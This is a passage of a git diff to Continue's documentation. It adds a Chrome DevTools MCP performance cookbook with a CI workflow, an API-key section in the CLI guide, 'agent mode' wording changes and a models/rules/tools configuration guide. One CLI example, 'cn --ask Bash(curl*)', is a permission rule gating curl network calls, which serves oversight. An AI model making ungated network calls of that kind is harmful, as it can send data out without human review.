"Forbidden"**: The MCP respects your existing Atlassian permissions. Verify you have access to the project/space/component you're trying to access + - **Can't create issues**: Ensure you have "Create issues" permission in the target Jira project + - **Can't edit Confluence pages**: Verify you have edit permissions in the target Confluence space + + + + - **Standard plan**: Moderate usage thresholds + - **Premium/Enterprise plans**: Higher quotas (1,000 requests/hour plus per-user limits) + - If you hit rate limits, reduce query frequency or batch operations + + + + - Bulk operations may be constrained by rate limits + - Custom Jira fields may not be recognized without explicit setup + - Workspace/site switching not available within a single session + - Check [Atlassian Community](https://community.atlassian.com/) for known issues + + + +### Admin Considerations + + + **Installation**: The Atlassian Rovo MCP is automatically installed on first OAuth authorization (JIT installation) - no Marketplace installation needed. + + **Managing Access**: + - View connected apps in [Admin Hub](https://admin.atlassian.com) + - Users can revoke access from their [profile settings](https://id.atlassian.com/manage-profile/apps) + - Block user-installed apps via "user-installed apps" control in Admin Hub + + **Security**: All traffic is encrypted via HTTPS (TLS 1.2+), and access respects existing user permissions. + + +--- + +## What You've Built + +After completing this guide, you have a complete **AI-powered Atlassian workflow system** that: + +- ✅ Uses natural language — Simple prompts for complex Atlassian operations +- ✅ Spans multiple products — Seamlessly works across Jira, Confluence, and Compass +- ✅ Respects permissions — Secure OAuth-based access with existing role enforcement +- ✅ Runs headlessly — Integrate into CI/CD pipelines and automation scripts + + + Your Atlassian workflows now operate at **[Level 2 Continuous + AI](https://blog.continue.dev/what-is-continuous-ai-a-developers-guide/)** - + AI handles routine project management tasks with human oversight through + review and approval. + + +## Next Steps + +1. **Explore your projects** - Try the Jira search and triage prompts +2. **Organize documentation** - Use Confluence workflows to summarize and create pages +3. **Map your services** - Query Compass for service dependencies +4. **Customize prompts** - Tailor workflows to your team's specific needs +5. **Monitor usage** - Track how AI improves your Atlassian workflows + +## Additional Resources + + + + Official Atlassian MCP documentation + + + How MCP works with Continue agents + + + Create and manage your agents + + + Get help and share feedback + + + +## Example Use Cases + + + + Automate release notes generation, link issues to documentation, and track deployment status across Jira and Confluence. + + + Analyze workload distribution, identify blockers, and generate sprint summaries automatically. + + + Map service dependencies in Compass, link to technical documentation in Confluence, and track related issues in Jira. + + + Create standardized Jira onboarding tickets, link to Confluence guides, and track new hire progress. + + diff --git a/docs/guides/chrome-devtools-mcp-performance.mdx b/docs/guides/chrome-devtools-mcp-performance.mdx new file mode 100644 index 000000000..8e185ef4a --- /dev/null +++ b/docs/guides/chrome-devtools-mcp-performance.mdx @@ -0,0 +1,798 @@ +--- +title: "Chrome DevTools Performance Optimization Cookbook" +description: "Measure and optimize web performance with Chrome DevTools MCP, automated performance traces, and Core Web Vitals monitoring using Continue." +sidebarTitle: "Chrome DevTools MCP for Performance" +--- + + + Use AI to automatically trace performance, analyze Core Web Vitals, diagnose bottlenecks, and get actionable optimization suggestions directly from Chrome DevTools + + + + **Did You Know?** Chrome DevTools MCP brings the full power of browser debugging to your AI workflow: + - [Performance Traces](https://developer.chrome.com/docs/devtools/performance) with automated analysis + - [Network Request Monitoring](https://developer.chrome.com/docs/devtools/network) for bottleneck detection + - [Console Debugging](https://developer.chrome.com/docs/devtools/console) with error pattern recognition + - [CPU & Network Throttling](https://developer.chrome.com/docs/devtools/performance/reference#throttling) to simulate real-world conditions + - [Performance Insights](https://developer.chrome.com/docs/devtools/performance-insights) with AI-powered analysis + - [Screenshot Debugging](https://developer.chrome.com/docs/devtools/device-mode) for visual regression detection + +This guide shows you how to leverage these features through natural language with Continue CLI! + + + +## What You'll Learn + +This cookbook teaches you to: + +- Run automated [performance traces](https://developer.chrome.com/docs/devtools/performance) to capture runtime metrics +- Analyze [Core Web Vitals](https://web.dev/vitals/) (LCP, FID, CLS, INP) and performance insights +- Diagnose performance bottlenecks using network and console analysis +- Test performance under different network and CPU conditions with [throttling](https://developer.chrome.com/docs/devtools/performance/reference#throttling) +- Automate visual regression testing with [screenshots](https://developer.chrome.com/docs/devtools/device-mode) + +## Prerequisites + +- Chrome browser installed +- Web project with a running development server (or deployed URL) +- Node.js 20+ installed +- [Continue CLI](https://docs.continue.dev/guides/cli) (`npm i -g @continuedev/cli`) +- [Chrome DevTools MCP](https://hub.continue.dev) configured + +## Quick Setup + +For all options, first: + + + ```bash + npm i -g @continuedev/cli + ``` + + + +## Chrome DevTools MCP Workflow Options + + + Skip the manual setup and use our pre-built Chrome DevTools agent that includes + optimized prompts, rules, and the Chrome DevTools MCP for more consistent results. + + +After completing **Quick Setup** above, you have two paths to get started: + + + + **Perfect for:** Immediate results with optimized prompts and built-in performance analysis + + + + Visit the [Chrome Dev Tools Agent](https://hub.continue.dev/continuedev/chrome-dev-tools-agent) on Continue Hub and click **"Install Agent"** or run: + + ```bash + cn --agent continuedev/chrome-dev-tools-agent + ``` + + This agent includes: + - **Optimized prompts** for performance analysis and debugging + - **Built-in rules** for consistent formatting and error handling + - **[Chrome DevTools MCP](https://hub.continue.dev/google/chrome-devtools-mcp)** for reliable browser automation + + + + In the TUI that opens, type: + ``` + Analyze performance of http://localhost:3000 and provide optimization recommendations + ``` + + That's it! The agent handles Chrome automation automatically. + + + + + **Why Use the Agent?** Results are more consistent and debugging is easier thanks to the Chrome DevTools MCP integration and pre-tested prompts. + + + + + + + + Visit the [Chrome DevTools MCP](https://hub.continue.dev/google/chrome-devtools-mcp) on Continue Hub and add it to your assistant, or add this to your configuration: + + ```yaml + name: Chrome DevTools MCP + version: 0.0.1 + schema: v1 + mcpServers: + - name: Chrome DevTools MCP + command: npx + args: + - chrome-devtools-mcp@latest + ``` + + The MCP will automatically launch Chrome and connect to DevTools when needed. + + + + Test the connection: + + **TUI Mode Prompt:** + ``` + Open web.dev and take a screenshot + ``` + + + + Navigate to your project directory: + + **TUI Mode Prompt:** + ``` + Navigate to http://localhost:3000 and record a performance trace. Analyze LCP, FID, and CLS. + ``` + + + + + **Manual Setup**: While you can configure the MCP manually, the pre-built agent provides optimized prompts and better error handling for performance analysis workflows. + + + + + + To use the pre-built agent, you need either: + - **Continue CLI Pro Plan** with the models add-on, OR + - **Your own API keys** added to Continue Hub secrets + - **Chrome browser** installed on your system + - **Node.js 20+** to run the MCP via npx + + The agent will automatically detect and use your configuration. + + +--- + +## Performance Measurement Workflows + +The Chrome DevTools MCP enables natural language performance analysis. Here are workflows adapted from real-world use cases: + +### Quick Performance Checks + + +**TUI Mode Prompt:** +``` +Verify in the browser that your change works as expected. +``` + + + +**TUI Mode Prompt:** +``` +A few images on localhost:8080 are not loading. What's happening? +``` + + + +**TUI Mode Prompt:** +``` +Why does submitting the form fail after entering an email address? +``` + + + +**TUI Mode Prompt:** +``` +The page on localhost:8080 looks strange and off. Check what's happening there. +``` + + + +**TUI Mode Prompt:** +``` +Localhost:8080 is loading slowly. Make it load faster. +``` + + + +**TUI Mode Prompt:** +``` +Please check the LCP of web.dev. +``` + + +--- + +## Performance Analysis Recipes + +Now you can use natural language prompts to analyze web performance. The Continue agent automatically calls the appropriate Chrome DevTools MCP tools. + + + **Where to run these workflows:** + - **IDE Extensions**: Use Continue in VS Code, JetBrains, or other supported IDEs + - **Terminal (TUI mode)**: Run `cn` to enter interactive mode, then type your prompts + - **CLI (headless mode)**: Use `cn -p "your prompt"` for headless commands + + **Test in Plan Mode First**: Before running performance measurements, test your prompts in plan mode (see the [Plan Mode Guide](/guides/plan-mode-guide); press **Shift+Tab** to switch modes). This shows you what the agent will do without executing it. + + +### Step 1: Baseline Performance Trace + +Establish your current performance baseline: + +**TUI Mode Prompt:** +``` +Navigate to http://localhost:3000 and record a performance trace with page reload. Analyze the trace and show me the LCP, FID, CLS, and total blocking time. +``` + + + + + Chrome DevTools Performance Panel automatically tracks: + - **Core Web Vitals**: LCP, FID, CLS, INP + - **Loading Performance**: DOMContentLoaded, Load events, First Paint + - **Runtime Performance**: JavaScript execution time, layout shifts, paint events + - **Resource Usage**: Memory consumption, CPU utilization + + + +### Step 2: Analyze Performance Insights + +Deep dive into specific performance issues: + +**TUI Mode Prompt:** +``` +Record a performance trace for http://localhost:3000 and analyze all Performance Insights. For each insight found, provide detailed information about: +- The specific issue (e.g., DocumentLatency, SlowCSS) +- Root cause analysis +- Affected resources or code +- Recommended optimizations +- Expected impact on Core Web Vitals +``` + + + **Performance Insights**: Chrome DevTools automatically detects common performance issues like: + - **Render Blocking Resources**: CSS and JavaScript that delay first paint + - **Layout Shifts**: Elements that move during page load + - **Long Tasks**: JavaScript execution blocking the main thread + - **Slow Network Requests**: Resources taking too long to load + - **Unused CSS/JavaScript**: Dead code increasing bundle size + + +### Step 3: Network Performance Analysis + +Identify slow network requests and optimization opportunities: + +**TUI Mode Prompt:** +``` +Navigate to https://my-site.com and: +1. List all network requests made during page load +2. Identify the 5 slowest requests and their sizes +3. Find any requests over 1MB +4. Detect render-blocking resources +5. Check for inefficient caching (missing cache headers) +6. Suggest specific optimizations for each issue found +``` + +### Step 4: Throttling Performance Tests + +Test performance under real-world network and CPU conditions: + +**TUI Mode Prompt:** +``` +Test my site's performance under different conditions: + +1. Navigate to http://localhost:3000 +2. Emulate 4x CPU slowdown and Fast 3G network +3. Record a performance trace with reload +4. Analyze LCP and Total Blocking Time +5. Take a screenshot when page is fully loaded + +Then repeat the test with: +- Slow 3G network + 6x CPU slowdown +- Offline network (to test service worker) + +Compare results and identify which conditions cause the worst performance degradation." +``` + + + **Available Network Presets**: + - No throttling + - Fast 3G (1.6 Mbps down, 0.75 Mbps up) + - Slow 3G (400 Kbps down, 400 Kbps up) + - Offline + + **CPU Throttling**: 4x, 6x, or custom slowdown to simulate low-end devices + + +### Step 5: JavaScript Performance Analysis + +Identify expensive JavaScript operations: + +**TUI Mode Prompt:** +``` +Record a performance trace for http://localhost:3000 and: +1. Identify all long tasks (>50ms) blocking the main thread +2. Find the specific JavaScript functions causing these tasks +3. Measure total JavaScript execution time +4. Detect unused JavaScript being loaded +5. Show the call stack for the longest task +6. Recommend code splitting or lazy loading opportunities" +``` + +## Automated Performance Monitoring + +### Step 6: Core Web Vitals Dashboard + +Create automated monitoring for Core Web Vitals: + +**TUI Mode Prompt:** +``` +Create a performance monitoring script that: +1. Opens my site at http://localhost:3000 +2. Records a performance trace with reload +3. Extracts Core Web Vitals (LCP, FID, CLS, INP) +4. Checks console for JavaScript errors +5. Takes a screenshot +6. Saves results to performance-report.json with format: + { + 'timestamp': 'ISO date', + 'lcp': number, + 'fid': number, + 'cls': number, + 'inp': number, + 'errors': array, + 'screenshot': 'path' + } + +Save this as scripts/performance-monitor.js that I can run regularly" +``` + +### Step 7: Visual Regression Detection + +Detect unintended visual changes: + +**TUI Mode Prompt:** +``` +Set up visual regression testing: +1. Navigate to http://localhost:3000 +2. Take full-page screenshots at: + - Desktop viewport (1920x1080) + - Tablet viewport (768x1024) + - Mobile viewport (375x667) +3. Save screenshots to screenshots/baseline/ +4. Create a script to compare future screenshots against baseline +5. Highlight any pixel differences over 5% +6. Generate a visual diff report" +``` + +### Step 8: Performance Budget Enforcement + +Set and enforce performance budgets: + +**TUI Mode Prompt:** +``` +Create a performance budget checker that: + +Requirements: +- LCP must be < 2.5 seconds +- FID must be < 100ms +- CLS must be < 0.1 +- Total JavaScript < 300KB +- Total page size < 1MB +- No console errors + +Implementation: +1. Navigate to http://localhost:3000 +2. Record performance trace with reload +3. List all network requests and calculate total sizes +4. Check console messages for errors +5. Validate all metrics against budgets +6. Exit with code 1 if any budget is exceeded +7. Generate a detailed report showing pass/fail for each metric + +Save as scripts/performance-budget.js for CI/CD integration" +``` + +## Continuous Performance Testing with GitHub Actions + +This example demonstrates a **Continuous AI workflow** where performance validation runs automatically in your CI/CD pipeline using Chrome DevTools MCP in headless mode. + +### Add GitHub Secrets + +Navigate to **Repository Settings → Secrets and variables → Actions** and add: + +- `CONTINUE_API_KEY`: Your Continue API key from [hub.continue.dev/settings/api-keys](https://hub.continue.dev/settings/api-keys) + +### Create Workflow File + +This workflow automatically validates web performance on pull requests using the Continue CLI in headless mode. It records performance traces, extracts Core Web Vitals, and posts a summary report as a PR comment. + +Create `.github/workflows/performance-check.yml` in your repository: + +```yaml +name: Performance Check + +on: + pull_request: + +jobs: + performance: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-node@v4 + with: + node-version: "20" + + - name: Install Dependencies + run: | + npm install -g @continuedev/cli + npm ci + + - name: Build Project + run: npm run build + + - name: Start Dev Server + run: | + npm run dev & + npx wait-on http://localhost:3000 + + - name: Run Performance Tests + env: + CONTINUE_API_KEY: ${{ secrets.CONTINUE_API_KEY }} + run: | + cn --agent continuedev/chrome-dev-tools-agent \ + -p "Navigate to http://localhost:3000 and: + 1. Record performance trace with reload + 2. Extract LCP, FID, CLS values + 3. List network requests and calculate total bundle size + 4. Output results as JSON to performance.json" \ + --auto + + - name: Check Performance Budgets + run: | + node << 'EOF' + const fs = require('fs'); + const perf = JSON.parse(fs.readFileSync('performance.json')); + + const budgets = { + lcp: 2.5, + fid: 100, + cls: 0.1, + bundleSize: 300000 + }; + + let failed = false; + const results = []; + + if (perf.lcp > budgets.lcp) { + results.push(`❌ LCP: ${perf.lcp}s (budget: ${budgets.lcp}s)`); + failed = true; + } else { + results.push(`✅ LCP: ${perf.lcp}s`); + } + + if (perf.fid > budgets.fid) { + results.push(`❌ FID: ${perf.fid}ms (budget: ${budgets.fid}ms)`); + failed = true; + } else { + results.push(`✅ FID: ${perf.fid}ms`); + } + + if (perf.cls > budgets.cls) { + results.push(`❌ CLS: ${perf.cls} (budget: ${budgets.cls})`); + failed = true; + } else { + results.push(`✅ CLS: ${perf.cls}`); + } + + if (perf.bundleSize > budgets.bundleSize) { + results.push(`❌ Bundle: ${perf.bundleSize}KB (budget: ${budgets.bundleSize}KB)`); + failed = true; + } else { + results.push(`✅ Bundle: ${perf.bundleSize}KB`); + } + + console.log(results.join('\n')); + + if (failed) { + process.exit(1); + } + EOF + + - name: Comment Performance Results + if: always() + uses: actions/github-script@v7 + with: + script: | + const fs = require('fs'); + const perf = JSON.parse(fs.readFileSync('performance.json')); + + const comment = `## 📊 Performance Report + + | Metric | Value | Budget | Status | + |--------|-------|--------|--------| + | LCP | ${perf.lcp}s | 2.5s | ${perf.lcp <= 2.5 ? '✅' : '❌'} | + | FID | ${perf.fid}ms | 100ms | ${perf.fid <= 100 ? '✅' : '❌'} | + | CLS | ${perf.cls} | 0.1 | ${perf.cls <= 0.1 ? '✅' : '❌'} | + | Bundle Size | ${perf.bundleSize}KB | 300KB | ${perf.bundleSize <= 300 ? '✅' : '❌'} | + + ${perf.lcp > 2.5 || perf.fid > 100 || perf.cls > 0.1 || perf.bundleSize > 300 + ? '⚠️ **Performance budgets exceeded. Please optimize before merging.**' + : '✅ **All performance budgets met!**'}`; + + github.rest.issues.createComment({ + issue_number: context.issue.number, + owner: context.repo.owner, + repo: context.repo.repo, + body: comment + }); +``` + + + The Chrome DevTools MCP works in headless Chrome environments. Make sure your CI environment has Chrome installed (it's pre-installed on GitHub Actions ubuntu-latest runners). + + +## Advanced Performance Workflows + +### Step 9: Competitor Comparison + +Compare your site's performance with competitors: + +**TUI Mode Prompt:** +``` +Compare performance between my site and competitors: + +Sites to test: +- http://localhost:3000 (my site) +- https://competitor1.com +- https://competitor2.com + +For each site: +1. Navigate to homepage +2. Record performance trace with reload +3. Extract LCP, FID, CLS, Total Blocking Time +4. List network requests and calculate total page size +5. Count JavaScript and CSS files + +Create a comparison table showing: +- Site name +- All Core Web Vitals +- Total page size +- Number of requests +- Which site performs best for each metric + +Provide specific recommendations for how my site can improve based on what competitors do better." +``` + +### Step 10: Performance Testing Across Routes + +Test performance consistency across your entire site: + +**TUI Mode Prompt:** +``` +Test performance across all major routes: + +Routes to test: +- / (homepage) +- /products +- /products/[id] (pick a sample product) +- /checkout +- /blog + +For each route: +1. Navigate to the URL +2. Record performance trace +3. Extract LCP, Total Blocking Time, bundle size +4. Check console for errors +5. Take a screenshot + +Generate a report showing: +- Which routes have the worst LCP +- Routes with the most JavaScript errors +- Bundle size variations across routes +- Recommendations for route-specific optimizations" +``` + +### Step 11: Mobile Performance Analysis + +Focus on mobile-specific performance issues: + +**TUI Mode Prompt:** +``` +Analyze mobile performance for http://localhost:3000: + +1. Resize viewport to mobile (375x667) +2. Emulate Slow 3G network + 4x CPU slowdown +3. Record performance trace with reload +4. Analyze Performance Insights for mobile-specific issues +5. Check for: + - Touch target sizes too small + - Horizontal scrolling issues + - Oversized images not optimized for mobile + - Excessive JavaScript on mobile +6. Take mobile screenshot +7. Provide mobile-specific optimization recommendations" +``` + +## Performance Troubleshooting + +### Debug Performance Regressions + +Quickly identify what caused a performance regression: + +**TUI Mode Prompt:** +``` +Debug performance regression on http://localhost:3000: + +1. Record performance trace +2. Analyze all Performance Insights +3. List console errors and warnings +4. Check network requests for: + - Failed requests + - Slow requests (>1s) + - Large requests (>500KB) +5. Identify the top 3 performance bottlenecks +6. For each bottleneck, suggest: + - Root cause + - Specific code or resource causing it + - Step-by-step fix + - Expected performance improvement" +``` + +### Performance Issue Quick Reference + +| Issue | Quick Fix Command (in cn TUI) | +| :---- | :---------------------------- | +| Slow LCP | `"Find render-blocking resources and suggest preloading or deferring"` | +| High CLS | `"Detect layout shifts and identify unsized images or dynamic content"` | +| Long Tasks | `"Find JavaScript tasks over 50ms and suggest code splitting"` | +| Large Bundles | `"List all JavaScript files, identify largest ones, suggest lazy loading"` | +| Slow Network | `"Find requests over 500KB and suggest compression or optimization"` | +| Console Errors | `"List all console errors and suggest fixes"` | + +## What You've Built + +After completing this guide, you have a complete **AI-powered performance analysis system** that: + +- ✅ **Uses natural language** — Simple prompts instead of complex DevTools commands +- ✅ **Analyzes automatically** — AI interprets performance traces and suggests fixes +- ✅ **Runs continuously** — Automated validation in CI/CD pipelines +- ✅ **Ensures quality** — Performance checks prevent regressions from shipping + + + Your performance workflow now operates at **[Level 2 Continuous AI](https://blog.continue.dev/what-is-continuous-ai-a-developers-guide/)** - AI handles routine performance analysis and debugging with human oversight through review and approval of changes. + + +## Chrome DevTools MCP Capabilities + + + + + **Tools Available** + - `performance_start_trace`: Start recording with auto-reload + - `performance_stop_trace`: Stop and analyze trace + - `performance_analyze_insight`: Deep dive into specific issues + + + + + + **Tools Available** + - `list_network_requests`: See all requests and sizes + - `get_network_request`: Inspect specific request details + - `emulate_network`: Test under various network conditions + + + + + + **Tools Available** + - `list_console_messages`: Get all console logs and errors + - `evaluate_script`: Run JavaScript in page context + - Automatic error pattern detection + + + + + + **Tools Available** + - `take_screenshot`: Capture full or partial page + - `take_snapshot`: Get accessibility tree snapshot + - `resize_page`: Test responsive layouts + + + + +## Performance Best Practices + +Key metrics to monitor for optimal web performance: + + + + - LCP < 2.5s (good) + - FID < 100ms (good) + - CLS < 0.1 (good) + - INP < 200ms (good) + + + + - Total page size < 1MB + - JavaScript < 300KB + - Time to Interactive < 3.8s + - First Contentful Paint < 1.8s + + + + - No long tasks > 50ms + - 60 FPS during interactions + - No memory leaks + - Efficient event listeners + + + +## Advanced Testing Scenarios + +### A/B Test Performance Impact + +**TUI Mode Prompt:** +``` +Compare performance of two implementations: +1. Test variant A at http://localhost:3000?variant=A +2. Test variant B at http://localhost:3000?variant=B +Run each test 5 times and calculate average LCP, FID, CLS +Determine which variant has better performance and by how much +``` + +### Lighthouse Score Tracking + +**TUI Mode Prompt:** +``` +Create a script that runs daily performance audits: +1. Navigate to production site +2. Record performance trace +3. Calculate Lighthouse-style performance score based on: + - FCP (10%) + - SI (10%) + - LCP (25%) + - TTI (10%) + - TBT (30%) + - CLS (15%) +4. Track score over time in performance-history.json +5. Alert if score drops below 90 +``` + +### Performance Regression Detection + +**TUI Mode Prompt:** +``` +Set up automated regression detection: +1. Record baseline performance for main branch +2. Save baseline metrics to baseline-perf.json +3. On each PR, run performance tests +4. Compare PR metrics with baseline +5. Flag regressions over 10% for any metric +6. Generate visual diff report with screenshots +``` + +## Next Steps + +1. **Analyze your first site** - Try the baseline performance trace on your current project +2. **Debug bottlenecks** - Use the network analysis prompt to fix slow requests +3. **Set up CI pipeline** - Add the GitHub Actions workflow to your repo +4. **Test throttling** - Measure performance under real-world network conditions +5. **Monitor trends** - Track Core Web Vitals over time + +## Additional Resources + + + + Official Chrome DevTools MCP repository + + + Explore more MCP integrations + + + Complete Chrome DevTools documentation + + + Learn about Core Web Vitals + + diff --git a/docs/guides/cli.mdx b/docs/guides/cli.mdx index 069bf640a..ac54e632f 100644 --- a/docs/guides/cli.mdx +++ b/docs/guides/cli.mdx @@ -4,8 +4,6 @@ sidebarTitle: "Continue CLI (cn)" description: "Learn how to use Continue's command-line interface for context engineering, automated coding tasks, and headless development workflows with customizable models, rules, and tools" --- -Continue CLI (cn) is currently in Beta - `cn` is an open-source, modular coding agent for the command line. It provides a battle-tested agent loop so you can simply plug in your model, rules, and tools. @@ -87,6 +85,12 @@ cn --ask Bash(curl*) cn --exclude Fetch ``` +## API Key Authentication + +For automation in CI or other headless environments, you can use an API key to authenticate with Continue. First, obtain your personal API key [here](https://hub.continue.dev/settings/api-keys). Then, set it as the `CONTINUE_API_KEY` environment variable. You can now use `cn -p` (headless mode) without needing to log in. + +If you wish to run an automation on behalf of your organization you can obtain an organization-scoped API key by going to [your organization's settings](https://hub.continue.dev/settings/organizations) -> API Keys. + ## Troubleshooting Run `cn` with the `--verbose` flag to see more detailed logs. These will be output to `~/.continue/logs/cn.log`. diff --git a/docs/guides/codebase-documentation-awareness.mdx b/docs/guides/codebase-documentation-awareness.mdx index d061bce98..609970263 100644 --- a/docs/guides/codebase-documentation-awareness.mdx +++ b/docs/guides/codebase-documentation-awareness.mdx @@ -1,19 +1,19 @@ --- -title: How to Make Your Agent Aware of Codebases and Documentation -description: Learn how to give your AI agent access to codebases and documentation for more context-aware assistance +title: How to Make Agent mode Aware of Codebases and Documentation +description: Learn how to give your Agent mode access to codebases and documentation for more context-aware assistance keywords: [agent, codebase, documentation, MCP, context, RAG, tools] sidebarTitle: Codebase and Documentation Awareness --- -AI coding agents work best when they understand the context of your project. This guide shows you how to give your agent access to codebases and documentation, making it more helpful and accurate. +Agent mode works best when it understands the context of your project. This guide shows you how to give agent mode access to codebases and documentation, making it more helpful and accurate. -## Make your agent aware of your open codebase +## Make agent mode aware of your open codebase -When your agent understands your current codebase, it can provide more relevant suggestions and answers. +When agent mode understands your current codebase, it can provide more relevant suggestions and answers. -### Let your agent explore the codebase using tools +### Let agent mode explore the codebase using tools -Your agent can use built-in tools to navigate and understand your code: +Agent mode can use built-in tools to navigate and understand your code: 1. **File exploration tools**: The agent can read files, search for patterns, and understand project structure 2. **Code search**: Use search to find relevant code snippets @@ -21,7 +21,7 @@ Your agent can use built-in tools to navigate and understand your code: ### Create rules to help the agent understand your codebase -Rules guide your agent's behavior and understanding. Place markdown files in `.continue/rules` in your project to provide context: +Rules guide agent mode's behavior and understanding. Place markdown files in `.continue/rules` in your project to provide context: ```markdown # Project Architecture @@ -46,9 +46,9 @@ This is a React application with: Learn more about [rules configuration](/customize/deep-dives/rules). -## Make your agent aware of other codebases +## Make agent mode aware of other codebases -Sometimes you need your agent to understand code beyond your current project. +Sometimes you need agent mode to understand code beyond your current project. ### Public codebases @@ -71,7 +71,7 @@ When implementing auth features, reference these patterns. #### GitHub and GitLab CLIs -Enable `gh` or `glab` CLI access for your agent to interact with repositories. +Enable `gh` or `glab` CLI access for agent mode to interact with repositories. Add rules to guide CLI usage: @@ -87,9 +87,9 @@ You can use the `gh` CLI to: #### DeepWiki MCP -[DeepWiki MCP](https://hub.continue.dev/deepwiki/deepwiki-mcp) lets your agent explore any public GitHub repository. +[DeepWiki MCP](https://hub.continue.dev/deepwiki/deepwiki-mcp) lets agent mode explore any public GitHub repository. -Once configured, your agent can explore repositories like: +Once configured, agent mode can explore repositories like: - "Explore the React repository structure" - "Find how authentication is implemented in NextAuth.js" @@ -106,15 +106,15 @@ Create an MCP server that has access to your internal repositories. For faster retrieval and lower costs with very large internal codebases, consider implementing a [custom code RAG](/guides/custom-code-rag) system. This is an advanced approach that requires more setup but can provide performance benefits at scale. -## Make your agent aware of relevant documentation +## Make agent mode aware of relevant documentation -Documentation provides crucial context for your agent to understand APIs, frameworks, and best practices. +Documentation provides crucial context for agent mode to understand APIs, frameworks, and best practices. ### Public documentation #### Rules with documentation links -Guide your agent to relevant documentation: +Guide agent mode to relevant documentation: ```markdown # Documentation Resources @@ -130,9 +130,9 @@ Always cite documentation when explaining concepts. #### Context7 MCP -[Context7 MCP](https://hub.continue.dev/upstash/context7-mcp) enables your agent to search and retrieve information from public documentation: +[Context7 MCP](https://hub.continue.dev/upstash/context7-mcp) enables agent mode to search and retrieve information from public documentation: -Your agent can then answer questions like: +Agent mode can then answer questions like: - "How do I use React hooks?" - "What's the syntax for Tailwind CSS animations?" @@ -169,7 +169,7 @@ If you were previously using the `@Codebase` or `@Docs` context providers, here' The `@Codebase` context provider has been deprecated. Instead: -1. **Use built-in tools**: Your agent can now use file exploration and search tools to understand your codebase +1. **Use built-in tools**: Agent mode can now use file exploration and search tools to understand your codebase 2. **Add rules**: Create `.continue/rules` files to provide context about your project structure 3. **Use MCP servers**: For external codebases, use DeepWiki MCP or custom MCP servers @@ -181,10 +181,10 @@ The `@Docs` context provider has been deprecated. Instead: 2. **Add documentation links in rules**: Create rules that reference documentation URLs 3. **Use custom MCP servers**: For internal documentation, create an MCP server with access to your docs -The new approach provides better integration with Continue's Agent features and more intelligent context selection. +The new approach provides better integration with Continue's Agent mode features and more intelligent context selection. ## Next steps - Learn more about [MCP servers](/reference/continue-mcp) - Explore [rules configuration](/customize/deep-dives/rules) -- Set up [custom assistants](/guides/understanding-assistants) with specific knowledge domains + - Set up [other custom configurations](/guides/understanding-configs) with specific knowledge domains diff --git a/docs/guides/configuring-models-rules-tools.mdx b/docs/guides/configuring-models-rules-tools.mdx new file mode 100644 index 000000000..76d69e304 --- /dev/null +++ b/docs/guides/configuring-models-rules-tools.mdx @@ -0,0 +1,181 @@ +--- +title: "Configuring Models, Rules, and Tools" +description: "Learn how to work with Continue's configuration system. Understand how to use hub models, rules, and tools, create local configurations, and organize your setup for maximum reusability." +--- + +## What Are Models, Rules, and Tools? + +Continue configs are built from three main types of configuration: + + + +Language models that power different capabilities like chat, autocomplete, and agent mode + + + + Guidelines and instructions that shape how the AI behaves and responds + + + +MCP tools that provide additional capabilities like database access, web search, or custom functions + + + +There are two places where you can define these configurations: + + + +Custom configurations you create and manage in your workspace or globally + + + +Pre-built models, rules, and tools from the Continue community that you can import and use immediately + + + +## Local + +Local configurations let you create custom models, rules, and tools that automatically apply to multiple configs, reducing duplication and ensuring consistency across your setup. + + + +Applied to all configs across all workspaces. Ideal for personal preferences, universal coding standards, or tools you use everywhere. + + +Applied automatically to all configs when working in a specific project. + +Perfect for project-specific setups like TypeScript rules for web apps or the Playwright MCP tool. + + + + + +## Hub + +Continue hub uses a slug in the format of `owner/item-name` to resolve blocks. + +For example, to use the [Claude 4 Sonnet model](https://hub.continue.dev/anthropic/claude-4-sonnet), you'd reference it as `anthropic/claude-4-sonnet`. + +Import from the hub using the `uses` syntax alongside your custom configurations: + +```yaml config.yaml highlight={6} +name: Team Config +version: 1.0.0 +schema: v1 + +models: + - uses: anthropic/claude-4-sonnet + with: + ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }} # Use a hub secret +``` + +### Organization + +Organize your local configurations using these directories: + + + + `.continue/models` + + + + `.continue/rules` + + + + `.continue/mcpServers` + + + +## Working with Secrets + +Models, and many MCP servers, require a secret for things like API keys. + +On the hub, you can configure secrets when adding a model or MCP server. + +This will use mustache notation to pass the secret, eg `${{ secrets.SECRET_NAME }}` + +When configuring a local model or MCP server, you can use the same mustache notation for secrets which read from: + + + +`.env` file in `~/.continue/.env` + + + +`.env` file at your project root + + + + +**When to use `secrets.` vs `inputs.`** + +For most use cases, **use `${{ secrets.SECRET_NAME }}`** directly in your configuration. This is the recommended approach for both personal and organizational workflows. + +Use `${{ inputs.INPUT_NAME }}` only when you need flexibility to: +- Allow users to customize which secret a block uses without editing the block itself +- Change the secret name without modifying the block configuration +- Create reusable blocks where different users may have differently-named secrets + +This pattern is inspired by GitHub Actions, where inputs provide an abstraction layer between block definitions and user-specific values. For most scenarios, directly referencing `secrets.` keeps configuration simpler and more straightforward. + + +## Overriding Properties + +You can directly override properties using the `override` syntax: + +```yaml title="config.yaml" highlight={10-13} +name: myprofile/custom-config +version: 1.0.0 +schema: v1 + +models: + - uses: myprofile/custom-model + with: + ANTHROPIC_API_KEY: ${{ secrets.MY_ANTHROPIC_API_KEY }} + TEMP: 0.9 + override: + roles: + - chat +``` + +## Advanced + +### Inputs + +Models and MCP server authors can configure inputs that require the user to provide a secret value by defining a `${{ inputs.SECRET_NAME }}` value. + +For example, here is how you could require that the user provide a value for the `apiKey` property on a model: + +```yaml title="config.yaml" highlight={8} +name: myprofile/custom-model +version: 1.0.0 +schema: v1 + +models: + - name: My Favorite Model + # ... other model properties ... + apiKey: ${{ inputs.SECRET_NAME }} +``` + +Users then map their secret to this input using a `${{ secrets.SECRET_NAME }}` value that maps to a property name which matches the required input, e.g. `SECRET_NAME`. + +```yaml title="config.yaml" highlight={8} +name: myprofile/custom-config +version: 1.0.0 +schema: v1 + +models: + - uses: myprofile/custom-model + with: + SECRET_NAME: ${{ secrets.SECRET_NAME }} +``` + +## Next Steps + +Now that you understand how models, rules, and tools work, explore: + +- **[Config Reference](/reference)**: Detailed documentation of all available properties +- **[Continue Hub](https://hub.continue.dev)**: Browse community models, rules, and tools +- **[Custom Context Providers](/customize/deep-dives/custom-providers)**: Create advanced context integrations +- **[Model Roles](/customize/model-roles/intro)**: Understanding how different models work together diff --git a/docs/guides/continue-docs-mcp-cookbook.mdx 